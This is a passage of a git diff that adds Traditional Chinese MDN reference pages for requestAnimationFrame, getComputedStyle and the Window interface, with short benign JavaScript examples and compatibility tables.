+<p>回呼方法會得到一個 {{domxref("DOMHighResTimeStamp")}} 的引數，作為指示目前的時間（基於 <a href="/en-US/docs/Web/API/DOMHighResTimeStamp#The_time_origin">time origin</a> 之後經過的毫秒數）。當 <code>requestAnimationFrame()</code> 佇列了數個回呼並且在同一幀開始觸發多個回呼時，儘管每一個之前的回呼在運作時會消耗一定的時間，但它們都會取得同樣的時間戳記。時間戳記是由十進位數字表示的毫秒且最小的精準度為 1 毫秒（1000 µs）。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">window.requestAnimationFrame(callback);
+</pre>
+
+<h3 id="Parameters" name="Parameters">參數</h3>
+
+<dl>
+ <dt><code>回呼</code></dt>
+ <dd>當下次重新繪製時用於呼叫並更新動畫。回呼函數會得到一個引數—— {{domxref("DOMHighResTimeStamp")}} ——類似於由 {{domxref('performance.now()')}} 回傳的結果，其用於指示當 <code>requestAnimationFrame()</code> 開始執行回呼函數的時間。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p><code>long</code> 型別的整數值表示請求的 id，作為其進入回呼清單中的唯一識別。雖然回傳值是一個非零值，但不應該對其有其他任何的假設。將這個值傳遞給 {{domxref("window.cancelAnimationFrame()")}} 可以取消重新整理頁面回呼的請求</p>
+
+<h2 id="Notes" name="Notes">範例</h2>
+
+<pre class="brush: js">var start = null;
+var element = document.getElementById('SomeElementYouWantToAnimate');
+
+function step(timestamp) {
+  if (!start) start = timestamp;
+  var progress = timestamp - start;
+  element.style.transform = 'translateX(' + Math.min(progress / 10, 200) + 'px)';
+  if (progress &lt; 2000) {
+    window.requestAnimationFrame(step);
+  }
+}
+
+window.requestAnimationFrame(step);
+</pre>
+
+<h2 id="備註">備註</h2>
+
+<p>Edge 低於 17 的版本和 Internet Explorer 無法保證在繪製循環前觸發 <code>requestAnimationFrame</code>。</p>
+
+<h2 id="Specification" name="Specification">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#animation-frames', 'requestAnimationFrame')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change, supersedes the previous one.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('RequestAnimationFrame', '#dom-windowanimationtiming-requestanimationframe', 'requestAnimationFrame')}}</td>
+   <td>{{Spec2('RequestAnimationFrame')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+<p>{{Compat("api.Window.requestAnimationFrame")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">其他參考</h2>
+
+<ul>
+ <li>{{domxref("Window.mozAnimationStartTime")}}</li>
+ <li>{{domxref("Window.cancelAnimationFrame()")}}</li>
+ <li><a href="http://weblogs.mozillazine.org/roc/archives/2010/08/mozrequestanima.html">mozRequestAnimationFrame</a> - Blog post</li>
+ <li><a href="http://paulirish.com/2011/requestanimationframe-for-smart-animating/">requestAnimationFrame for smart animating</a> - Blog post</li>
+ <li><a href="http://hacks.mozilla.org/2011/08/animating-with-javascript-from-setinterval-to-requestanimationframe/">Animating with javascript: from setInterval to requestAnimationFrame</a> - Blog post</li>
+ <li><a href="http://blogs.msdn.com/b/ie/archive/2011/07/05/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-1.aspx">Using PC Hardware more efficiently in HTML5: New Web Performance APIs, Part 1</a> - Blog post</li>
+ <li><a href="http://www.testufo.com/#test=animation-time-graph" title="http://www.testufo.com/#test=animation-time-graph">TestUFO: Test your web browser for requestAnimationFrame() Timing Deviations</a></li>
+ <li>Paul Irish: <a class="external external-icon" href="http://updates.html5rocks.com/2012/05/requestAnimationFrame-API-now-with-sub-millisecond-precision">requestAnimationFrame API: now with sub-millisecond precision</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/window/getcomputedstyle/index.html b/files/zh-tw/web/api/window/getcomputedstyle/index.html
new file mode 100644
index 0000000000..8dd0f24bad
--- /dev/null
+++ b/files/zh-tw/web/api/window/getcomputedstyle/index.html
@@ -0,0 +1,200 @@
+---
+title: Window.getComputedStyle()
+slug: Web/API/Window/getComputedStyle
+translation_of: Web/API/Window/getComputedStyle
+---
+<p>{{APIRef()}}</p>
+
+<h2 id="概要">概要</h2>
+
+<p><code>Window.getComputedStyle()</code> 方法可以得到元素於套用啟用之樣式表以及解析其中可能包含的任何基本運算後的所有 CSS 屬性值。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var <em>style</em> = window.getComputedStyle(<em>element</em>[, <em>pseudoElt</em>]);
+</pre>
+
+<dl>
+ <dt>element</dt>
+ <dd>The {{domxref("Element")}} for which to get the computed style.</dd>
+ <dt>pseudoElt {{optional_inline}}</dt>
+ <dd>A string specifying the pseudo-element to match. Must be omitted (or <code>null</code>) for regular elements.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> Prior to Gecko 2.0 {{geckoRelease("2.0")}}, the <code>pseudoElt</code> parameter was required. No other major browser required this parameter be specified if null. Gecko has been changed to match the behavior of other browsers.</div>
+
+<p>The returned <code>style</code> is a <em>live</em> {{domxref("CSSStyleDeclaration")}} object, which updates itself automatically when the element's style is changed.</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var elem1 = document.getElementById("elemId");
+var style = window.getComputedStyle(elem1, null);
+
+// this is equivalent:
+// var style = document.defaultView.getComputedStyle(elem1, null);
+</pre>
+
+<pre class="brush: js">&lt;style&gt;
+ #elem-container{
+   position: absolute;
+   left:     100px;
+   top:      200px;
+   height:   100px;
+ }
+&lt;/style&gt;
+
+&lt;div id="elem-container"&gt;dummy&lt;/div&gt;
+&lt;div id="output"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+  function getTheStyle(){
+    var elem = document.getElementById("elem-container");
+    var theCSSprop = window.getComputedStyle(elem,null).getPropertyValue("height");
+    document.getElementById("output").innerHTML = theCSSprop;
+   }
+  getTheStyle();
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: js">function dumpComputedStyles(elem,prop) {
+
+  var cs = window.getComputedStyle(elem,null);
+  if (prop) {
+    console.log(prop+" : "+cs.getPropertyValue(prop));
+    return;
+  }
+  var len = cs.length;
+  for (var i=0;i&lt;len;i++) {
+
+    var style = cs[i];
+    console.log(style+" : "+cs.getPropertyValue(style));
+  }
+
+}
+</pre>
+
+<h2 id="說明">說明</h2>
+
+<p>The returned object is of the same type that the object returned from the element's {{domxref("HTMLElement.style", "style")}} property; however, the two objects have different purposes. The object returned from<code> getComputedStyle </code>is read-only and can be used to inspect the element's style (including those set by a <code>&lt;style&gt;</code> element or an external stylesheet). The<code> elt.style</code> object should be used to set styles on a specific element.</p>
+
+<p>The first argument must be an Element (passing a non-Element Node, like a #text Node, will throw an error). Starting in Gecko 1.9.2 {{geckoRelease("1.9.2")}}, returned URL values now have quotes around the URL, like this: <code>url("http://foo.com/bar.jpg")</code>.</p>
+
+<h2 id="defaultView"><code>defaultView</code></h2>
+
+<p>In many code samples online, <code>getComputedStyle</code> is used from the <code>document.defaultView</code> object. In nearly all cases, this is needless, as <code>getComputedStyle</code> exists on the <code>window</code> object as well. It's likely the defaultView pattern was some combination of (1) folks not wanting to write a spec for window and (2) making an API that was also usable in Java. However, there is <a class="link-https" href="https://github.com/jquery/jquery/pull/524#issuecomment-2241183" title="https://github.com/jquery/jquery/pull/524#issuecomment-2241183">a single case</a> where the <code>defaultView</code>'s method must be used: when using Firefox 3.6 to access framed styles.</p>
+
+<h2 id="Use_with_pseudo-elements">Use with pseudo-elements</h2>
+
+<p>getComputedStyle can pull style info from pseudo-elements (for example, <code>::after</code>, <code>::before</code>, <code>::marker</code>, <code>::line-marker</code>—see <a class="external" href="http://dev.w3.org/csswg/css3-content/#pseudo-elements">spec</a> here).</p>
+
+<pre class="brush: html">&lt;style&gt;
+ h3::after {
+   content: ' rocks!';
+ }
+&lt;/style&gt;
+
+&lt;h3&gt;generated content&lt;/h3&gt;
+
+&lt;script&gt;
+  var h3       = document.querySelector('h3'),
+      result   = getComputedStyle(h3, ':after').content;
+
+  console.log('the generated content is: ', result); // returns ' rocks!'
+&lt;/script&gt;
+</pre>
+
+<h2 id="備註">備註</h2>
+
+<p>The values returned by <code>getComputedStyle</code> are known as {{cssxref("resolved_value", "resolved values")}}. These are usually the same as the CSS 2.1 {{cssxref("computed_value","computed values")}}, but for some older properties like <code>width</code>, <code>height</code> or <code>padding</code>, they are instead the {{cssxref("used_value","used values")}}. Originally, CSS 2.0 defined the computed values to be the "ready to be used" final values of properties after cascading and inheritance, but CSS 2.1 redefined computed values as pre-layout, and used values as post-layout. For CSS 2.0 properties, the <code>getComputedStyle</code> function returns the old meaning of computed values, now called <strong>used values</strong>. An example of difference between pre- and post-layout values includes the resolution of percentages that represent the width or the height of an element (also known as its layout), as those will be replaced by their pixel equivalent only in the used value case.</p>
+
+<p>The returned value is, in certain known cases, expressly inaccurate by deliberate intent. In particular, to avoid the so called CSS History Leak security issue, browsers may expressly "lie" about the used value for a link and always return values as if a user has never visited the linked site. See <a class="external" href="http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/">http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/</a> and <a class="external" href="http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/">http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/</a> for details of the examples of how this is implemented. Most other modern browsers have applied similar changes to the application of pseudo-selector styles and the values returned by <code>getComputedStyle</code>.</p>
+
+<p>During a CSS transition, <code>getComputedStyle</code> returns the original property value in Firefox, but the final property value in WebKit.</p>
+
+<p>In Firefox, properties with the value <code>auto</code> return the used value, not the value <code>auto</code>. So if you apply <code>top:auto;</code> and <code>bottom:0</code>; on an element with <code>height:30px</code> and its containing block is <code>height:100px;</code>, upon requesting the computed style for <code>top</code>, Firefox will return <code>top:70px</code>, as <code>100px-30px=70px</code>.</p>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>pseudo-element support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>15</td>
+   <td>{{CompatVersionUnknown}} </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>WP7 Mango</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>pseudo-element support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="規範">規範</h2>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSview-getComputedStyle">DOM Level 2 Style: getComputedStyle</a></li>
+ <li><a href="https://drafts.csswg.org/cssom/#dom-window-getcomputedstyle" title="https://drafts.csswg.org/cssom/#dom-window-getcomputedstyle">CSS Object Model specification</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">參見</h2>
+
+<ul>
+ <li>{{domxref("window.getDefaultComputedStyle")}}</li>
+ <li>{{cssxref("resolved_value", "Resolved Value")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/window/index.html b/files/zh-tw/web/api/window/index.html
new file mode 100644
index 0000000000..276dcc96e2
--- /dev/null
+++ b/files/zh-tw/web/api/window/index.html
@@ -0,0 +1,468 @@
+---
+title: Window
+slug: Web/API/Window
+translation_of: Web/API/Window
+---
+<p>{{APIRef}}</p>
+
+<p><span class="seoSummary"><code>window</code> 物件代表了一個包含 DOM 文件的視窗，其中的 <code>document</code> 屬性指向了視窗中載入的 {{domxref("Document")}} 物件。而使用 <code>document</code> 的</span> {{Domxref("Document.defaultView", "defaultView")}} 屬性，則可取得該 Document 物件所在的視窗 <code>window</code> 物件。</p>
+
+<p>本節提供了 DOM <code>window</code> 物件的所有方法、屬性以及事件的說明。<code>window</code> 物件實作了 <code>Window</code> 介面，而 <code>Window</code> 介面則繼承自 <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code> 介面。一些額外、與 <code>window</code> 物件沒有直接關係，但卻置於 <code>window</code> 物件中的全域函式、命名空間、物件、介面以及建構式，將會在 <a href="/zh-TW/docs/JavaScript/Reference">JavaScript 參考文件</a>和<a href="/zh-TW/docs/Web/API/Document_Object_Model">文件物件模型（DOM）</a>中說明。</p>
+
+<p>在支援分頁的瀏覽器中（如 Firefox），每一個分頁標籤都擁有自己的 <code>window</code> 物件（如果你正在撰寫瀏覽器附加元件，瀏覽器視窗本身也是一個個別的 window－請參閱 <a href="/zh-TW/docs/Working_with_windows_in_chrome_code#Content_windows">Working with windows in chrome code</a>），分頁不會於同一個瀏覽器視窗中共享 <code>window</code> 物件。但有部分的方法，如 {{Domxref("window.resizeTo()")}} 或 {{Domxref("window.resizeBy()")}} 會套用至整個視窗，而不只是該 <code>window</code> 物件所屬的分頁標籤。一般來說，若無法適當的應用於分頁，便會套用至瀏覽器視窗。</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>This interface inherits properties from the {{domxref("EventTarget")}} interface and implements properties from the {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("WindowEventHandlers")}} mixins.</em></p>
+
+<p>請注意，指向物件的屬性（例如覆蓋了內建物件原型的元素）會在另外的列表中說明。</p>
+
+<dl>
+ <dt>{{domxref("Window.applicationCache")}} {{readOnlyInline}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>指向 {{domxref("OfflineResourceList")}} 物件，此物件提供了視窗的離線資源。</dd>
+ <dt>{{domxref("Window.closed")}} {{Non-standard_inline}}{{readOnlyInline}}</dt>
+ <dd>This property indicates whether the current window is closed or not.</dd>
+ <dt>{{domxref("Window.Components")}} {{Non-standard_inline}}</dt>
+ <dd>The entry point to many <a href="/zh-TW/docs/XPCOM">XPCOM</a> features. Some properties, e.g. <a href="/zh-TW/docs/Components.classes">classes</a>, are only available to sufficiently privileged code. <strong>Web code should not use this property.</strong></dd>
+ <dt>{{domxref("Window.console")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the console object which provides access to the browser's debugging console.</dd>
+ <dt>{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the content element in the current window. The obsolete variant with underscore is no longer available from Web content.</dd>
+ <dt>{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Returns the XUL controller objects for the current chrome window.</dd>
+ <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt>
+ <dd>Returns the browser crypto object.</dd>
+ <dt>{{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}}</dt>
+ <dd>Gets/sets the status bar text for the given window.</dd>
+ <dt>{{domxref("Window.devicePixelRatio")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Returns the ratio between physical pixels and device independent pixels in the current display.</dd>
+ <dt>{{domxref("Window.dialogArguments")}} {{Fx_minversion_inline(3)}} {{ReadOnlyInline}}</dt>
+ <dd>Gets the arguments passed to the window (if it's a dialog box) at the time {{domxref("window.showModalDialog()")}} was called. This is an {{Interface("nsIArray")}}.</dd>
+ <dt>{{domxref("Window.directories")}} {{obsolete_inline}}</dt>
+ <dd>Synonym of {{domxref("window.personalbar")}}</dd>
+ <dt>{{domxref("Window.document")}} {{ReadOnlyInline}}</dt>
+ <dd>指向此 <code>window</code> 中的 <code>document</code> 物件。</dd>
+ <dt>{{domxref("Window.frameElement")}} {{readOnlyInline}}</dt>
+ <dd>Returns the element in which the window is embedded, or null if the window is not embedded.</dd>
+ <dt>{{domxref("Window.frames")}} {{readOnlyInline}}</dt>
+ <dd>Returns an array of the subframes in the current window.</dd>
+ <dt>{{domxref("Window.fullScreen")}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>此屬性表示目前視窗是否為全螢幕顯示。</dd>
+ <dt>{{domxref("Window.globalStorage")}} {{gecko_minversion_inline("1.8.1")}} {{Non-standard_inline}} {{Obsolete_inline("gecko13")}}</dt>
+ <dd>Unsupported since Gecko 13 (Firefox 13). Use {{domxref("Window.localStorage")}} instead.<br>
+ Was: Multiple storage objects that are used for storing data across multiple pages.</dd>
+ <dt>{{domxref("Window.history")}} {{ReadOnlyInline}}</dt>
+ <dd>指向 history 物件。</dd>
+ <dt>{{domxref("Window.innerHeight")}} {{readOnlyInline}}</dt>
+ <dd>取得視窗內的網頁內容高度，包含水平捲軸。</dd>
+ <dt>{{domxref("Window.innerWidth")}} {{readOnlyInline}}</dt>
+ <dd>取得視窗內的網頁內容寬度，包含垂直捲軸。</dd>
+ <dt>{{domxref("Window.isSecureContext")}} {{readOnlyInline}}</dt>
+ <dd>Indicates whether a context is capable of using features that require secure contexts.</dd>
+ <dt>{{domxref("Window.length")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of frames in the window. See also {{domxref("window.frames")}}.</dd>
+ <dt>{{domxref("Window.location")}}</dt>
+ <dd>Gets/sets the location, or current URL, of the window object.</dd>
+ <dt>{{domxref("Window.locationbar")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the locationbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.localStorage")}} {{readOnlyInline}}{{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Returns a reference to the local storage object used to store data that may only be accessed by the origin that created it.</dd>
+ <dt>{{domxref("Window.menubar")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the menubar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Returns the <a href="/zh-TW/docs/The_message_manager">message manager</a> object for this window.</dd>
+ <dt>{{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}}{{gecko_minversion_inline("2.0")}} {{Deprecated_inline}}</dt>
+ <dd>The time in milliseconds since epoch at which the current animation cycle began.</dd>
+ <dt>{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}}{{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Returns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> in {{interface("nsIDOMWindowUtils")}} for a conversion factor to adapt to screen pixels if needed.</dd>
+ <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Returns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> for a conversion factor to adapt to screen pixels if needed.</dd>
+ <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Returns the number of times the current document has been rendered to the screen in this window. This can be used to compute rendering performance.</dd>
+ <dt>{{domxref("Window.name")}}</dt>
+ <dd>Gets/sets the name of the window.</dd>
+ <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the navigator object.</dd>
+ <dt>{{domxref("Window.opener")}}</dt>
+ <dd>Returns a reference to the window that opened this current window.</dd>
+ <dt>{{domxref("Window.orientation")}}{{non-standard_inline}}{{deprecated_inline}}{{readOnlyInline}}</dt>
+ <dd>Returns the orientation in degrees (in 90 degree increments) of the viewport relative to the device's natural orientation.</dd>
+ <dt>{{domxref("Window.outerHeight")}} {{readOnlyInline}}</dt>
+ <dd>取得瀏覽器視窗的高度。</dd>
+ <dt>{{domxref("Window.outerWidth")}} {{readOnlyInline}}</dt>
+ <dd>取得瀏覽器視窗的寬度。</dd>
+ <dt>{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}</dt>
+ <dd>An alias for {{domxref("window.scrollX")}}.</dd>
+ <dt>{{domxref("Window.scrollY","Window.pageYOffset")}}{{readOnlyInline}}</dt>
+ <dd>An alias for {{domxref("window.scrollY")}}</dd>
+ <dt>{{domxref("Window.sessionStorage")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.</dd>
+ <dt>{{domxref("Window.parent")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the parent of the current window or subframe.</dd>
+ <dt>{{domxref("Window.performance")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("Performance")}} object, which includes the {{domxref("Performance.timing", "timing")}} and {{domxref("Performance.navigation", "navigation")}} attributes, each of which is an object providing <a href="/zh-TW/docs/Navigation_timing">performance-related</a> data. See also <a href="/zh-TW/docs/Web/API/Navigation_timing_API/Using_Navigation_Timing">Using Navigation Timing</a> for additional information and examples.</dd>
+ <dt>{{domxref("Window.personalbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the personalbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.pkcs11")}} {{obsolete_inline(29)}}</dt>
+ <dd>Formerly provided access to install and remove PKCS11 modules.</dd>
+ <dt>{{domxref("Window.returnValue")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>The return value to be returned to the function that called {{domxref("window.showModalDialog()")}} to display the window as a modal dialog.</dd>
+ <dt>{{domxref("Window.screen")}} {{readOnlyInline}}</dt>
+ <dd>回傳一個與 window 關聯的 screen 物件。</dd>
+ <dt>{{domxref("Window.screenX")}} {{readOnlyInline}}</dt>
+ <dd>Returns the horizontal distance of the left border of the user's browser from the left side of the screen.</dd>
+ <dt>{{domxref("Window.screenY")}} {{readOnlyInline}}</dt>
+ <dd>Returns the vertical distance of the top border of the user's browser from the top side of the screen.</dd>
+ <dt>{{domxref("Window.scrollbars")}} {{readOnlyInline}}</dt>
+ <dd>Returns the scrollbars object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.scrollMaxX")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>The maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.</dd>
+ <dt>{{domxref("Window.scrollMaxY")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>The maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).</dd>
+ <dt>{{domxref("Window.scrollX")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of pixels that the document has already been scrolled horizontally.</dd>
+ <dt>{{domxref("Window.scrollY")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of pixels that the document has already been scrolled vertically.</dd>
+ <dt>{{domxref("Window.self")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns an object reference to the window object itself.</dd>
+ <dt>{{domxref("Window.sessionStorage")}} {{Fx_minversion_inline("2.0")}}</dt>
+ <dd>Returns a storage object for storing data within a single page session.</dd>
+ <dt>{{domxref("Window.sidebar")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the window object of the sidebar.</dd>
+ <dt>{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a {{domxref("SpeechSynthesis")}} object, which is the entry point into using <a href="/zh-TW/docs/Web/API/Web_Speech_API">Web Speech API</a> speech synthesis functionality.</dd>
+ <dt>{{domxref("Window.status")}}</dt>
+ <dd>Gets/sets the text in the statusbar at the bottom of the browser.</dd>
+ <dt>{{domxref("Window.statusbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the statusbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.toolbar")}} {{readOnlyInline}}</dt>
+ <dd>Returns the toolbar object, whose visibility can be toggled in the window.</dd>
+ <dt>{{domxref("Window.top")}} {{readOnlyInline}}</dt>
+ <dd>Returns a reference to the topmost window in the window hierarchy. This property is read only.</dd>
+ <dt>{{domxref("Window.window")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns a reference to the current window.</dd>
+ <dt><code>window[0]</code>,<code> window[1]</code>, etc.</dt>
+ <dd>Returns a reference to the <code>window</code> object in the frames. See {{domxref("Window.frames")}} for more details.</dd>
+</dl>
+
+<h3 id="Properties_implemented_from_elsewhere">Properties implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Returns a boolean indicating whether the current context is secure (<code>true</code>) or not (<code>false</code>).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>This interface inherits methods from the {{domxref("EventTarget")}} interface and implements methods from {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Window.alert()")}}</dt>
+ <dd>Displays an alert dialog.</dd>
+ <dt>{{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Moves back one in the window history.</dd>
+ <dt>{{domxref("Window.blur()")}}</dt>
+ <dd>Sets focus away from the window.</dd>
+ <dt>{{domxref("Window.cancelAnimationFrame()")}} {{experimental_inline}}</dt>
+ <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestAnimationFrame")}}.</dd>
+ <dt>{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}</dt>
+ <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestIdleCallback")}}.</dd>
+ <dt>{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}</dt>
+ <dd>Registers the window to capture all events of the specified type.</dd>
+ <dt>{{domxref("Window.clearImmediate()")}}</dt>
+ <dd>Cancels the repeated execution set using <code>setImmediate</code>.</dd>
+ <dt>{{domxref("Window.close()")}}</dt>
+ <dd>Closes the current window.</dd>
+ <dt>{{domxref("Window.confirm()")}}</dt>
+ <dd>Displays a dialog with a message that the user needs to respond to.</dd>
+ <dt>{{domxref("Window.disableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.dispatchEvent()")}}</dt>
+ <dd>Used to trigger an event.</dd>
+ <dt>{{domxref("Window.dump()")}} {{Non-standard_inline}}</dt>
+ <dd>Writes a message to the console.</dd>
+ <dt>{{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.find()")}}</dt>
+ <dd>Searches for a given string in a window.</dd>
+ <dt>{{domxref("Window.focus()")}}</dt>
+ <dd>Sets focus on the current window.</dd>
+ <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Moves the window one document forward in the history.</dd>
+ <dt>{{domxref("Window.getAttention()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Flashes the application icon.</dd>
+ <dt>{{domxref("Window.getAttentionWithCycleCount()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.getComputedStyle()")}}</dt>
+ <dd>Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.</dd>
+ <dt>{{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}}</dt>
+ <dd>Gets default computed style for the specified element, ignoring author stylesheets.</dd>
+ <dt>{{domxref("Window.getSelection()")}}</dt>
+ <dd>Returns the selection object representing the selected item(s).</dd>
+ <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns the browser to the home page.</dd>
